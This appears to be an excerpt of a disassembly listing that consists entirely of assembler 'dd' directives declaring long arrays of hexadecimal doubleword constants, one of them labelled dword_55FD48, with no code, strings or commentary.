dd 0BC2690CEh, 8D12ECA2h, 4B60CC96h, 908065AEh, 607D660Ch
dd 60E2092Ch, 0D211E4C7h, 3BDD367Ch, 0A64929DFh, 2AB803B4h
dd 0E3F145F1h, 8C45597h, 0B8822C48h, 0A340C1CBh, 881C3AD0h
dd 4EFC249Fh, 0F6A4225Bh, 32A67484h, 99C6147Bh, 1395173h
dd 3A1DB42Ch, 0D4054C53h, 99705246h, 8CE53E02h, 2797720h
dd 0F84B2692h, 66E01FF8h, 9E225D06h, 2E92E4Fh, 7CE57F2Bh
dd 704A9DD4h, 92002446h, 2D9E4C5Dh, 0B4BE05Ah, 5049CCFDh
dd 0C0B01C0Ah, 0BFD5CBCAh, 0A19DF604h, 10B67168h, 22330078h
dd 0EF14EDEAh, 0DB4FEC35h, 0D945A820h, 0D7532C4Ch, 4BCEE0D8h
dd 82982D3h, 0A615B0B2h, 553050D4h, 60D598AAh, 0E61AF764h
dd 50F45CD6h, 0AA961806h, 0BCBAD1F1h, 0A42D4700h, 0D2A7420h
dd 117E852h, 6D86BE6Ah, 0D9F67E0Fh, 27C8570Bh, 0CE1448F9h
dd 4D8BC0BCh, 0F490656h, 8136C7FCh, 0EC69C680h, 0C4012893h
dd 72BC12CBh, 0CC040EC2h, 14004CC4h, 3E61D29Fh, 9C805E6Eh
dd 900312B4h, 9E391D40h, 7CED0D00h, 17122BEBh, 0D541036Eh
dd 0AD19677Fh, 60FA6F89h, 0EF26E580h, 4F443Ch, 8DBF5ACBh
dd 0ECFE0Bh, 145F98Fh, 0D38C4942h, 0EB58FF09h, 0DCFC100Dh
dd 0B63E050Bh, 134DED0Eh, 1A709044h, 3D02770Fh, 9E3D513h
dd 2B54614Dh, 384A414h, 0EF315E60h, 0F25FF516h, 8C6600FBh
dd 0B450AA3Ch, 3A0C14DAh, 0A91F3B13h, 6A7A1C57h, 5A6800B5h
dd 0B098F433h, 0AB79A002h, 0CEA25D93h, 0E8DC84CCh, 0F17FA1h
dd 0DB10DA52h, 209355BEh, 0B87FE102h, 58DCD642h, 450890ECh
dd 92BDE853h, 0FE01F700h, 24BF9883h, 0FFFC0251h, 0E30340CAh
dd 95800451h, 0EF095415h, 0BAB900DFh, 10507E04h, 83094D4Ah
dd 0E8E56AE8h, 4C43E468h, 96C924EBh, 152528E9h, 0E200F08Fh
dd 0B37EDDC8h, 723D33A6h, 749127AEh, 8C2F005Dh, 0AD3647ECh
dd 5561389Ch, 6DDA08h, 0BD9AED03h, 0A1D4DD82h, 0FBE460E8h
dd 928E61C4h, 6250C8h, 0A3D034CCh, 0DEB94BA4h, 0BCD318A3h
dd 22D0E3A4h, 6BAA0013h, 551416C4h, 6604FD39h, 0CBBBFCECh
dd 0D6E8D8h, 0C1CAB9A1h, 7DE2C9B8h, 4E5AC2Eh, 51055C60h
dd 5DEADFh, 0D414D2DEh, 0F971CABh, 3F60410Eh, 2C718146h
dd 0B824EE09h, 80DD7692h, 8718BF77h, 0E5187088h, 8EE40D7Bh
dd 21D474h, 99C1EB4h, 0F803D1CAh, 2069CE4Fh, 0AB739944h
dd 0A7E51F11h, 0DFB100BCh, 0F0C5B0BEh, 50187705h, 0D0B2C8F7h
dd 17910813h, 0B3F03030h, 0F1007AB4h, 924A5EC9h, 62360720h
dd 0C43C819Fh, 0D165CCCh, 0C22513Ah, 1784406h, 906568A7h
dd 0C407D512h, 5300AD3Dh, 0FBB9267Bh, 48050ED9h, 0F843C063h
dd 8F182F04h, 0D674C8FDh, 21F05400h, 59CC784Dh, 867B00DCh
dd 0F23AC079h, 50028240h, 90D44144h, 0CB18411Ch, 9C084044h
dd 53B040D5h, 0C440A585h, 7DA2F55h, 49EC6C20h, 0B8B0AAC0h
dd 131E460h, 5C207719h, 74C81890h, 0FECF3C80h, 0F25249h
dd 0D4FBE6AFh, 98DE40F8h, 2863D0A1h, 0B4F02978h, 0E1C46280h
dd 23629CCh, 1CBFF2F9h, 2C44A977h, 38D1EAA2h, 45A7116Ch
dd 51C002F9h, 0B680E45Bh, 7DFAEC90h, 96AA0F40h, 0E7C0FD3Ah
dd 0AEC3BCA3h, 2F557A0Ah, 0DD51DCC5h, 1BC12FE2h, 0F0C30BE4h
dd 59D648A1h, 0E5BF4C8h, 0B12495EAh, 0DAA91961h, 18E6F23Dh
dd 0D73E650Ah, 5589E854h, 0B0BCE2D4h, 7C85BE2Ch, 0D9FD00A2h
dd 2F785955h, 741A0552h, 40695A5Ch, 49E45D0h, 0D3CF033Bh
dd 3CF305C3h, 4370A4h, 446A6519h, 0FFAA97CBh, 0D684C802h
dd 9BAB63Ch, 0E24B00E6h, 16F4021h, 0A8B848h, 59E329Ah
dd 7319C37Ch, 6C400F26h, 70909296h, 5DC134h, 5B7CBA84h
dd 0B5394C9Ah, 50013171h, 0A9C3CAD0h, 74747E4Bh, 4DA13574h
dd 80B360h, 0C490F61Ah, 0BD2DC9h, 68B34ACh, 5CDE7327h
dd 61870900h, 5DF6EB0h, 45091FFh, 41BAFDD6h, 0CD6C48C2h
dd 7922D422h, 0F9838538h, 9509AFE6h, 0B808214Bh, 4DDCC928h
dd 88598CF5h, 0D7747980h, 21197B1Ch, 3F698FF6h, 173CBCC0h
dd 2040CF6Ch, 0A30EDC44h, 101C102Dh, 44D75568h, 98A68E99h
dd 8BE82A07h, 68A09481h, 0C84DD2Bh, 0F2218849h, 46146ABEh
dd 0C1C48A77h, 2783B3D5h, 31D04BD9h, 0F240E280h, 9DD20162h
dd 0F2F6ABBAh, 0B88C51F3h, 35083Dh, 1347E614h, 0FEEF3BB2h
dd 64232E5Fh, 21C3D879h, 0F4AB0958h, 38880D4Bh, 62550424h
dd 25785413h, 944A4A2h, 54807025h, 917DA69Ch, 860EE304h
dd 0C0B0EE36h, 80F89C73h, 5BEA8D9Ch, 0C6007F3Ah, 913C0688h
dd 2A62BC0h, 0C555AC98h, 547AAF1Ah, 849F742Ah, 616014B6h
dd 265FF881h, 60F05482h, 7E80608Fh, 1500DEF4h, 6F298AFEh
dd 0CFE0A3h, 0AF1396C1h, 0A4BC0BC2h, 0A1C9242Dh, 0F70DCE40h
dd 57A802Dh, 0F907F10Ah, 8CE8139Fh, 43078200h, 915A7B1Bh
dd 9D801F97h, 4CE6E1BCh, 0D08BA803h, 0B506EC10h, 76C094A8h
dd 79E0DF01h, 8732D1E4h, 16FABD8h, 551B6CEAh, 30C035DBh
dd 0BC8875A0h, 64180F05h, 0DC00D669h, 0F8F043FDh, 9706DE01h
dd 9D207648h, 0D434E831h, 8B84B49Bh, 0CE004DE9h, 64C8D9CAh
dd 2691B403h, 0ED14B97Dh, 44A940A0h, 0E8ACE57Bh, 2C9F712Ch
dd 980BF68Bh, 9B6DCCh, 7B1E4A55h, 95C09718h, 0B7B41A01h
dd 7464D33Ah, 8700DC39h, 225F60A4h, 0ACB4905Ch, 3822E1ACh
dd 0F004DC42h, 0E46EB307h, 2CBC74DCh, 0E3254280h, 418386h
dd 0E4FE5E63h, 65D69D08h, 0ABBD403h, 1C69AC35h, 818EF6A0h
dd 0F8035634h, 22FC62A2h, 1243035Dh, 0A67F3C35h, 378E3E5h
dd 69DF6191h, 7F8DA80Fh, 4D8C0108h, 1F0BD305h, 14707D7Eh
dd 2F602D3Ch, 87302030h, 1CE9B934h, 0C0B8954Ah, 5117247Dh
dd 1302E6CEh, 0EDB6808Fh, 78F0E60Bh, 8AA1005Eh, 0DF354727h
dd 0B307E418h, 4CF409FFh, 4A912A30h, 1710B1C1h, 0DDEC2203h
dd 0B8315044h, 0E21410CEh, 30800612h, 0A0B1B6F9h, 813F6400h
dd 3B4F30FCh, 8B93EEAh, 0F16C9201h, 2DE37A5Dh, 0FF21198h
dd 0F725B838h, 0DA031464h, 8C8A0A46h, 7477E04Eh, 94F924EBh
dd 14929410h, 5FB9AD05h, 27AC366h, 0F49640A0h, 0ABB0986Eh
dd 0BCE6BAh, 8B511830h, 0D20A9360h, 0DAA69200h, 0F2AB4798h
dd 2E8281E3h, 39C17104h, 32120E4h, 0D79C8EE1h, 54B92901h
dd 0BCB030DAh, 824C54Bh, 5EE0FCE0h, 0F25021E3h, 98462BC7h
dd 31CA3Dh, 77314198h, 0F03EEC51h, 37E2FD0Eh, 0C70E73h
dd 0E8204022h, 946C7C49h, 0F1579840h, 0E00975Dh, 38F7EC52h
dd 7BF5E4E9h, 0DCDF0112h, 9F37CBA1h, 9644747Ah, 8E043097h
dd 40064BADh, 456182A4h, 0F602FBB0h, 1CD61A70h, 0E47305ACh
dd 0E600CB10h, 0C4C2EA82h, 91F50DF8h, 6F2D0004h, 1783653Ch
dd 0E2A4E13h, 885604CCh, 5301C30Ch, 0A607374Dh, 0DBE084A8h
dd 27DA00FFh, 55B7C8A5h, 3892CBB2h, 4FBA1622h, 0CC8864F7h
dd 1B00638Ch, 64D59A77h
dword_55FD48 dd 18B81898h, 0B15E3C48h, 434820E5h, 0C3210A6Bh, 0EB4080E2h
dd 13D32BABh, 315D7AA4h, 0D4B90718h, 0B346336h, 90A9E0F5h
dd 0FDD0550Ah, 22FB1D48h, 0E927B800h, 56F8A713h, 0D70B0316h
dd 77D1EB88h, 8F58DAB8h, 0A3E31703h, 79DCD464h, 403A0270h
dd 48753E4Dh, 0EBB74E0h, 8F81D738h, 97167484h, 0BD20B029h
dd 0F8E55CA5h, 0AEFB9700h, 5DC7912Dh, 1085542Fh, 5DB70384h
dd 0E609A40Dh, 50492E37h, 88A07C52h, 2237BE5Ch, 859DC1E1h
dd 25D5E3E6h, 45AC62BCh, 19701856h, 942F7B55h, 0ED4CE070h
dd 620075D9h, 815EC26h, 1532BAAh, 0B7E17AFCh, 70889D8Eh
dd 16284638h, 7222DCCCh, 7EF0867Eh, 91530061h, 1F605D93h
dd 5B8C4EFh, 83462005h, 6C44DB75h, 0A2242F7Bh, 57E50E24h
dd 167D215Ah, 0B130DAAFh, 9D744842h, 389BC509h, 0A77C472h
dd 81FE4638h, 0C9F71FFDh, 0AAF95DDDh, 985AE2h, 0A5021963h
dd 0F93B6D90h, 43C2F50Ah, 4140949Ch, 737255D5h, 0C1C00184h
dd 43FFB8D6h, 20D2420Eh, 80000D9h, 0F9974485h, 0A6A7002Ah
dd 86610C26h, 549A1EE5h, 13877894h, 79C0BB4Ch, 5E9C4C6h
dd 50578566h, 880085AFh, 40005F38h, 0DF88FAEFh, 0AE5920h
dd 86281134h, 4B2DF239h, 8116B498h, 7C088EE5h, 60D04AD7h
dd 0FA600D75h, 90D45B17h, 17270104h, 0A67987C1h, 0E4F816D9h
dd 0F4CF1D1Bh, 7B003BC2h, 0E6C48270h, 0DA1FCA0Dh, 0CE4593A5h
dd 6C883A81h, 7A801608h, 0BEE70099h, 0E89A03BBh, 0BA0DB3Fh
dd 83B961Bh, 6608E002h, 0A6C2072Eh, 1572EE64h, 0AB107898h
dd 6FD9147Dh, 0A4C28580h, 0FFFBB881h, 4B803068h, 91F3070Ah
dd 42FCBD01h, 1C1D1AAAh, 7987AC0h, 1FA28AA6h, 18B39120h
dd 178223Bh, 0E8499C7Ch, 24E4A71Eh, 0C9C8271Dh, 23153890h
dd 2F697400h, 62DDB46Fh, 0F6C60182h, 0BBEB20DCh, 979874CBh
dd 0E0D81224h, 29C0FC26h, 0CC692h, 0ABE5ED14h, 0BDEB093Fh
dd 45DDD305h, 0D022BA66h, 1D5C7273h, 0C7CC223Dh, 508E7147h
dd 6538BEAh, 0C1A36800h, 5D7051BFh, 98A0490Eh, 4AD0315Eh
dd 0F6A54109h, 0A88FCAACh, 7412F288h, 0D10CA4h, 9ED91AC3h
dd 39F9EACFh, 7E01F4E0h, 5FE5BCAh, 302E0B3Fh, 0DFA4F66Ch
dd 48A14730h, 91016198h, 7E1240h, 0CC11657Bh, 0B100233Fh
dd 294A07B6h, 949F1AC9h, 42B34098h, 0BF044D83h, 7D550E69h
dd 0CE5DC88h, 0C2529558h, 79458818h, 7080143Ch, 0A7724956h
dd 0A0D5ED02h, 6BA6F327h, 3BA8968h, 0C3008872h, 0CB27FC28h
dd 0C63FDA0Ah, 56C4803Ch, 0EAEA2F2h, 0BDE9016Dh, 0D216B259h
dd 9BC225Dh, 5A9D1BF6h, 0A9120204h, 83742DE0h, 82B84B43h
dd 0E60291BEh, 6CC6A139h, 0E0E4C43Ah, 75140FD5h, 30404EA0h
dd 0B33C287Fh, 18AE8901h, 0DA11BB21h, 9280E47Ch, 0D12A1C07h
dd 0D5CA9401h, 0C28C684Fh, 313C272Ah, 0C4B37DA6h, 7100E919h
dd 35D0EC0Bh, 0D393485Eh, 0E4D06049h, 0D1013763h, 9ED7E898h
dd 19DD55BAh, 96090068h, 0E0C025A1h, 0CB5FB4A7h, 50885453h
dd 7D038853h, 1FC8C3Dh, 0BF151320h, 0BBFCB9FDh, 495B6289h
dd 7CC175FBh, 0C03469CAh, 0CB90ACC9h, 632F14E5h, 1185E4E7h
dd 0D6BD0078h, 0C03502B5h, 930BBF17h, 3186C12h, 6DA00D41h
dd 2FC0895Ch, 0BA5BC28h, 0FBAB8A3Ch, 11028E00h, 1F581A9Dh
dd 90994E84h, 780D3E8h, 87EB06CFh, 0DCC260F7h, 0C00190FBh
dd 0EEA5D873h, 30E3CB5Dh, 0F6612140h, 5E658206h, 0FC883C78h
dd 96A90052h, 0C3082F41h, 5256F82h, 95E0110Bh, 43E05DDDh
dd 0DABD0084h, 24167601h, 5A7FE837h, 5F665E3Dh, 0DE410440h
dd 140DB251h, 9B5AB93Dh, 5F07FF00h, 0D2E0111Ch, 80C87F4Ah
dd 727A54h, 264BCF0Ch, 71180EA4h, 0DC129B98h, 84B6C5B7h
dd 4F03AD00h, 0F5614B0h, 803D3A38h, 0AA6EF023h, 0B99297EFh
dd 631601DCh, 7479105Dh, 4C4EA93Ch, 643E7070h, 84416F9h
dd 4FACC8D7h, 42237F09h, 0EC720040h, 13FEC35Eh, 0B93F17Eh
dd 60103AD4h, 0DF71B847h, 4F847C00h, 50E67298h, 2CA04C54h
dd 0E24A6CFh, 6800B1DFh, 0E726C094h, 68D56Fh, 29922430h
dd 2A90623Eh, 7E957500h, 0F9A05A2Fh, 788C90D9h, 0CD1C0927h
dd 90103866h, 373BC8C9h, 99CCCCAh, 70163D9h, 0D199FB66h
dd 2905018Ch, 0CC606AA0h, 11E27182h, 3D1B8F2Ch, 4A67842Ch
dd 394856F0h, 23FF3BA4h, 4B3ECD86h, 0D80FB93Bh, 0E49D3C0Ch
dd 0D482497Ah, 455C5E08h, 8084A8DAh, 0D634816Fh, 7DA500F2h
dd 5C926724h, 0F6012542h, 20D1C243h, 72600E74h, 716500C0h
dd 80D47CF2h, 7E2AFB1Ch, 0D914B4E2h, 8380300Dh, 7C7BD148h
dd 0C1DC25F9h, 0DF553882h, 0B6506C74h, 49160075h, 0C8302732h
dd 3400F7C0h, 3E55D4A9h, 4061BEh, 8E248C74h, 0E5BACD8h
dd 548BD900h, 0FCC27964h, 0EA7057h, 0B7822E5Dh, 5EFE9A2Bh
dd 596B741Dh, 5FB14701h, 0EDDD5DFFh, 108029BBh, 24B69D6Ah
dd 360064EBh, 95C1159Fh, 0AE22A7h, 2EDFD9EEh, 0FCECFF54h
dd 0F40596Fh, 38606058h, 1C6B6FEFh, 1F15EB64h, 9F203062h
dd 9E00C3C7h, 0A72B7077h, 3B01FF4h, 0E7CD01ECh, 0C4E102D1h
dd 5A598095h, 6A5F731Ah, 0E150A1ADh, 0A792F510h, 61608800h
dd 0E0ABD6CEh, 7664A00Ah, 0C1FC006Dh, 0D7C221A5h, 5F2992Ah
dd 8A219E60h, 2B48E5h, 8753F8B1h, 4E386B5Ah, 6A57C106h
dd 0B17705h, 6E0C7528h, 0E8FE11F6h, 0D96CB500h, 67CA1A73h
dd 6DFA0037h, 0E7C62475h, 7C65455Fh, 0B8205939h, 0E8D229CDh
dd 0FA531DEDh, 18B9D8A9h, 0B238DF54h, 821680D8h, 678DF0ADh
dd 1F93007Fh, 15A361AFh, 0B26026F2h, 0CFABEF49h, 79B8A8F9h
dd 811340F7h, 0BB510660h, 0BCCBC2h, 0F73AA41Eh, 3B9BFCE6h
dd 0E09CCE00h, 9ED362AAh, 310D60D8h, 0E4383934h, 0B8C8C52Ah
dd 0DCA96C00h, 3AA36F94h, 0F9DD00B9h, 2CA410DEh, 0C23976ADh
dd 4035B057h, 219B79h, 136C5C9Ah, 24CCE8EBh, 0FC5549C2h
dd 358C909Dh, 5DC10203h, 0EF5C22AEh, 649A4A20h, 0FABB004Eh
dd 411F2C5Bh, 4D00AFCCh, 0B2D87D04h, 6EAAE03h, 2AEF6C49h
dd 741AF131h, 0B868455Eh, 3C1DE58h, 1EBD337Eh, 61E0D35Fh
dd 79505E19h, 0CCA875C5h, 0BF0096B9h, 848E68A9h, 90BBA355h
dd 0F20E1DECh, 0E4B0AAC3h, 6F06056Ch, 8078E0AAh, 47ECACA0h
dd 0F191C518h, 490971h, 73EA0FFAh, 0A221527Ah, 446B7D0Fh
dd 854958C4h, 7486018Ah, 8E4A1D1Fh, 9444DE7Ch, 58DB603h
dd 919AC6BAh, 0CC486A9Eh, 0B40324E7h, 9DF08E54h, 73FDC05Dh
dd 353D786Fh, 0DFEB1F00h, 2AD081BBh, 0EA6AE0D6h, 93E818E7h
dd 71AB612Eh, 0F051096Ah, 332A423Ch, 167218A4h, 0DF12C6C9h
dd 4E0B4A00h, 0FB906E29h, 0A8AB7A41h, 39046148h, 0B31DE45Fh
dd 4F3B0050h, 5CC68663h, 2D9828A0h, 0B71C0B00h, 0D7CB6793h
dd 0AB7D066Eh, 89224F29h, 58696A11h, 6600F522h, 0ACE34952h
dd 33C9B72h, 9DC175EDh, 0A9E054A7h, 0E9008DEBh, 0D7FF2B2Dh
dd 1593C204h, 0C4F25CD0h, 52BD4C00h, 8DDCCBDEh, 0AE02BA05h
dd 0E20A2BF3h, 0FA1FEC7Ch, 5152E90h, 880084B0h, 0C7637071h
dd 9B00A7BBh, 82E918D1h, 391FD7DBh, 6D890746h, 342A8164h
dd 0C8AE00FBh, 367CED3h, 0A1006899h, 27EB8A8h, 496F00C1h
dd 6B3F4D33h, 0CB013A04h, 5FCD30ABh, 6032B0DBh, 0A455C880h
dd 0E758A245h, 0D92600DDh, 67FC33B3h, 0B2AB1554h, 0C412C002h
dd 2D2847ECh, 3BD6D077h
dd 0CF00131Ch, 0CA80A461h, 10C11E5h, 96EDBF2Eh, 0D4E174AFh
dd 4800C4F8h, 0C1B0D972h, 13426792h, 7C27F71h, 822F5FCCh
dd 0C4A0F059h, 0C8B2D18h, 8656A800h, 32BBF5D8h, 8C3A0152h
dd 8E584F02h, 0B89DF093h, 0BA64CA06h, 99E1C5h, 0DE5C8361h
dd 184D7E4Eh, 0C08B92Dh, 0E0FD21ABh, 85E21D01h, 5A1D8047h
dd 5C7F5FD9h, 58446098h, 70698F2h, 0A9DE23C2h, 595CE1A3h
dd 0D298509Ch, 36009485h, 0FB3D671Ah, 923E6CDBh, 0F15D397Ch
dd 71F2D999h, 8C7F31ECh, 61598139h, 25BB0B55h, 0FA075FC1h
dd 0AB420103h, 0F41042D8h, 91407E0h, 80380558h, 0A2103DD0h
dd 90D300C4h, 0EAB1736Fh, 0F100951Bh, 0D9F83660h, 0E0617186h
dd 80DD611Ch, 2556385Eh, 17B00C74h, 0DF5C5200h, 0AF46153Fh
dd 0A293934h, 4FD4818h, 0CF03DB9Eh, 635E5FD7h, 59811BA7h
dd 70C8C9E7h, 56069753h, 0FA1EED36h, 0E8741659h, 266C2003h
dd 0D3004F61h, 40366BEBh, 0A2B675Bh, 6D9D4CB2h, 445412BAh
dd 906580E4h, 60BBE0CCh, 0AD45CE00h, 5F6EB78Eh, 6C5200F1h
dd 4997C250h, 8815FA55h, 3DB0E3C5h, 32D201B1h, 34279B7Dh
dd 0DFE82420h, 7929C0A9h, 882140F8h, 0A62FE93Eh, 76507C47h
dd 0F55C80FCh, 16D1C9C0h, 1C4C186h, 0B7E02BE5h, 0E00B6936h
dd 0AE1C9ADCh, 45C93809h, 13181086h, 32E800C1h, 0D963EC9Dh
dd 0B11BEEC3h, 88D97180h, 0DDEF40h, 0CD326DCBh, 0FC4F7EFDh
dd 980AD60Ch, 0EB0EEh, 8C0772D4h, 257B7DC9h, 49AE5804h
dd 70C067B9h, 0F7EED9h, 18D41335h, 5E7AEB4Dh, 0F0A96073h
dd 0BE6261ABh, 4C6F2C71h, 6280DD41h, 92FC1980h, 0BD21BFAh
dd 70100507h, 0AFE678EDh, 7D863020h, 6201A829h, 68F6F01h
dd 2395BC40h, 35253DCh, 0A9B0D3ECh, 0B8563965h, 0A4F2000Ch
dd 76133EDCh, 441C987Bh, 2326330Dh, 1130279Eh, 0C284615Eh
dd 11740EA1h, 0DF4CE880h, 315717Dh, 3FF0EDC5h, 13E004A5h
dd 281B90Ch, 3AE07F44h, 80E65085h, 5D29C2DBh, 20E6B561h
dd 0B970500h, 946CB0E7h, 10C603ABh, 0C896DB5Bh, 278A23D0h
dd 39060A90h, 0E6D063C2h, 9F10049h, 3D84B810h, 0B5002E0Ah
dd 5392E53Ch, 0FB7416h, 8D07EC60h, 6CFDD5FCh, 1F7D3Eh
dd 0EDE4698Ch, 4CC9D33Fh, 4B7D8F3h, 26ED0497h, 174C4088h
dd 0AC56134h, 0F1844D8h, 0C4158636h, 3808C3Dh, 234FEEB8h
dd 630059EAh, 0BA7F5EAEh, 9807611h, 8D05D9ECh, 6C0698F8h
dd 676DAB57h, 54DF5841h, 8237F41Eh, 605FB661h, 0B3400C51h
dd 1823082Fh, 897038AFh, 98097A51h, 22C43E5Fh, 44BC0EE8h
dd 0C2970078h, 9F454BAFh, 4200AEFCh, 6DB4FF9Ah, 2AE43663h
dd 78A8B7E2h, 0C307057Dh, 0C0B55FFBh, 0C231DFD8h, 7F7BFC90h
dd 296EEC00h, 661578Fh, 0C70E008Dh, 49716DDDh, 0E6056918h
dd 5F9C6B9Eh, 20FF4092h, 894A8F6h, 2B5B8700h, 8DBCAA43h
dd 2AD70CF5h, 0FFF8E082h, 28CBD48h, 9ED8C8D6h, 1385164h
dd 5F8986A2h, 8891CA45h, 3E7317EFh, 1BDEC0CDh, 1FE67971h
dd 2537A65h, 4220604Fh, 77B644A0h, 0D30EEBD1h, 0A73D66A0h
dd 887043B5h, 39E163Bh, 6D06070Dh, 35D092DCh, 4654A40Ah
dd 0EA0076A8h, 0FB7E3666h, 3063863h, 7944C0DAh, 0A809B3C4h
dd 1031F2AEh, 0EE45118h, 0E37945D6h, 688D04A0h, 801864B9h
dd 71D93413h, 5777B8ABh, 95009822h, 82980DC6h, 0B0E80213h
dd 2BAE9C09h, 7018047Ch, 0F8F80E52h, 70BC5890h, 57C6988h
dd 335B2D8h, 0D7984068h, 2ED9C8FDh, 0E8EB5B00h, 252BCB8Fh
dd 70CA0037h, 805AD8FBh, 0B305618Bh, 719E5399h, 5C23E4CCh
dd 7E80405Ch, 0F0785EC0h, 0E9EC1B7Fh, 8822642Ch, 99C4443Ch
dd 4CA0008h, 24269BEh, 557BA1Eh, 0CE364147h, 0A25F022Fh
dd 10886775h, 65129F39h, 5A610430h, 7F8B3A79h, 334082B3h
dd 8F012900h, 0B5DD1685h, 403B586Dh, 0D800E03Fh, 0DAB14690h
dd 0EFFE2D7Fh, 0ED3C480Ch, 0EB2E7979h, 0FA165860h, 1454B1CCh
dd 0EC012C0Ah, 8F70A55Fh, 0E95424B6h, 0AEC87D07h, 71107B34h
dd 9D5E78h, 42A990E7h, 8726581Fh, 0C3043648h, 0C0AF2534h
dd 0A3B34CD7h, 0C3C2A23Ch, 2FE2923Ch, 0C7806E89h, 0E5B3EC55h
dd 2D74B8A8h, 9648D490h, 0A4CC09D8h, 38C80DE2h, 7D008422h
dd 4D112E01h, 4207ECD8h, 0BB3D36DDh, 537F2751h, 4857F5E9h
dd 6BA9F1B0h, 0E779C2D4h, 98E430EDh, 0BBE2EF14h, 0A361022Ch
dd 7178F2EAh, 0C7D60C28h, 0C4917DB1h, 1AADCAFh, 9ACEDB02h
dd 3E80FFD7h, 1C62CA34h, 516F7D88h, 0B7E40080h, 9C2AE153h
dd 2DDBB800h, 72DFFA57h, 97630289h, 475F683Fh, 660BB466h
dd 105CE38Fh, 605560h, 95484C71h, 0C4F5F33Ah, 0E5872C94h
dd 605F018Fh, 16685AF6h, 0B2811388h, 9AB4405Ch, 0B8E5CB52h
dd 2B6E9E12h, 0B441304Ah, 0B87E14h, 53809A20h, 35CCE459h
dd 0BF12F45h, 0A48D26ACh, 58682C99h, 0E92862D1h, 0A0532h
dd 8B69EE74h, 0E400677Eh, 33141982h, 6261A1Bh, 0FA5C6A01h
dd 5A4068A4h, 830F8489h, 11635F09h, 0BD94AE07h, 0C0E24542h
dd 2A51FDE4h, 40909581h, 8C5A2262h, 414C03F8h, 0B3CFADDh
dd 0F1C23872h, 52C5C3EFh, 0A9B2227Ch, 0DC6C7413h, 0EBD8B81Fh
dd 1DA57721h, 4098AC33h, 0B316066Fh, 3F3B8476h, 7F9A8A1Fh
dd 886AA4ABh, 0C3E8A905h, 0E2A22C88h, 5D430628h, 902D78C8h
dd 0EF80E403h, 125201FDh, 4699C79h, 80DB3580h, 1F7BD0F3h
dd 751798ECh, 0F843FB86h, 989B1D07h, 4BBAF0h, 9A0FA647h
dd 55CFB35Eh, 0F7090D7Eh, 8581D8A8h, 0A402FAE4h, 55AD33Eh
dd 0FC0800Eh, 0FC0003CDh, 45F66ED7h, 2C7ABC63h, 4048DE6Ch
dd 0DF9A4A81h, 8D0932Ch, 0A2E75081h, 508991FAh, 24EC5977h
dd 7CB83Bh, 3F307B09h, 58136F9h, 4AD95AA8h, 6D8C81C7h
dd 21E3125Dh, 0E0239AF1h, 5F026733h, 43D47DF8h, 1E8082E8h
dd 0A5D88211h, 13607A0Dh, 0D091F49Dh, 0AF4AA9DCh, 0EB959F03h
dd 0D0269A49h, 790DA75h, 4F275777h, 0FA3A3036h, 88C04942h
dd 0A16BAB8Ah, 0D2C9895Bh, 0FB79FD01h, 7834C8h, 0E34D0ED3h
dd 44589D29h, 72A3B200h, 28D55F97h, 67D20126h, 0FDDB3742h
dd 508061FFh, 0B6FAE198h, 987DD9CBh, 67FAC58h, 38BC701Ah
dd 0CF0021E1h, 0C14D9098h, 58EE75h, 9667EF4Eh, 0E886AE7Ch
dd 2C2660C2h, 1206E068h, 1FFC0E29h, 4FE7BEAh, 81863B13h
dd 112E7578h, 2F2FB2Bh, 6C687A81h, 0F500068Bh, 0F2DACA10h
dd 9EF1A33h, 0AF27850Bh, 7D56E400h, 0CD0053FCh, 80906434h
dd 98999167h, 0DEFA01A0h, 65FDECC0h, 0DF9C341Ch, 9C286E24h
dd 55FF6131h, 9247BF0h, 34E7D044h, 89648405h, 80E838D0h
dd 0D4AF41E1h, 535A02B6h, 5FB065DFh, 11289200h, 98C3006Eh
dd 0FA3C19CEh, 0B300F130h, 6B505E22h, 2D995A8h, 656C4C2Ah
dd 0EC715CB5h, 78FC8A05h, 280E9B03h, 17BCD09Ch, 64844CB0h
dd 783453h, 5BCDBFF4h, 3E60C96Fh, 1F62FD5Ch, 561578ECh
dd 7D229Ch, 0AC8D6AB1h, 8F9C502Ch, 0FF38A500h, 0E3320CB9h
dd 603C0218h, 4A0F5DCCh, 29AB44C1h, 210A2DE4h, 4C92818h
dd 7995BC8h, 0FAD87279h, 0E2BC97D2h, 0ECC27DAFh, 27608051h
dd 0B9056D36h, 4B35005Ch, 6E89A9EDh, 3CC2E500h, 59A4F1E1h
dd 37EEE26h, 16499D34h, 65CADE27h, 88C5C485h, 0C1004A8Ch
dd 0E1322EE2h, 74C0DCC4h, 167500B3h, 0EF48973Eh, 0D5802FFh
dd 119380C8h, 9C4F8EAh
dd 6C5FA945h, 6643D864h, 3C216A21h, 0AC01E191h, 0A36730AFh
dd 30EBD9D4h, 75270CBEh, 65E490D2h, 0D62A005Eh, 0BA43FB8h
dd 6D2D5FB7h, 6AC42216h, 45388270h, 1D302AF8h, 2F60221Ch
dd 0A6E66E89h, 81B860E8h, 0DC760E7Dh, 78DB550Eh, 475C856Ch
dd 72810892h, 1D140074h, 0A5E75379h, 0A4FE1A5Ch, 0E1D2AA01h
dd 0C50F304h, 0A7DF6980h, 0B9D9E455h, 2AE761C2h, 548EE97h
dd 9EBCC250h, 0E8D8C860h, 166CE159h, 4C2C8406h, 0F03E585Eh
dd 16184582h, 806D34E1h, 23C274E1h, 678DEF61h, 8342E95Fh
dd 5C8AE1B3h, 0C500907Ah, 56BD49E0h, 0C222F5h, 0FD0BD510h
dd 0BEFCE206h, 0A65BED7Fh, 0D7E81C20h, 981C004Eh, 10027FE3h
dd 0E1F5E23h, 0AD80F669h, 0FC59F11Bh, 3481396Bh, 18CCEF0Dh
dd 0C5006181h, 656F8AEh, 1A55DA00h, 36762A7Bh, 0E5F60579h
dd 0A4C47864h, 423A0760h, 0C3358038h, 4CEEABE3h, 7CE4037Eh
dd 0C4337482h, 64112900h, 46A3C1F8h, 7139241Ch, 43C36314h
dd 3A9030EFh, 742413F8h, 510090AAh, 54FB7EC4h, 92AFE0AEh
dd 0D01200BCh, 4F47EB6Ch, 0D80F01E8h, 4098940Ch, 0D94C041Ah
dd 3C8051EEh, 295EC802h, 6E2BFC80h, 0C7453378h, 4054ED8h
dd 0EC1F4BB5h, 0E6ECC348h, 0D8EF0294h, 5C535Bh, 64DDFA51h
dd 0E62C0137h, 1A086023h, 28C871Ch, 8FB7E278h, 4860A480h
dd 0E301796Dh, 0E08892A2h, 0C980A90Ah, 0CB3FBB4Fh, 2700FE55h
dd 6C889D80h, 5EF82303h, 0F774207Fh, 84053845h, 1F6FCCC4h
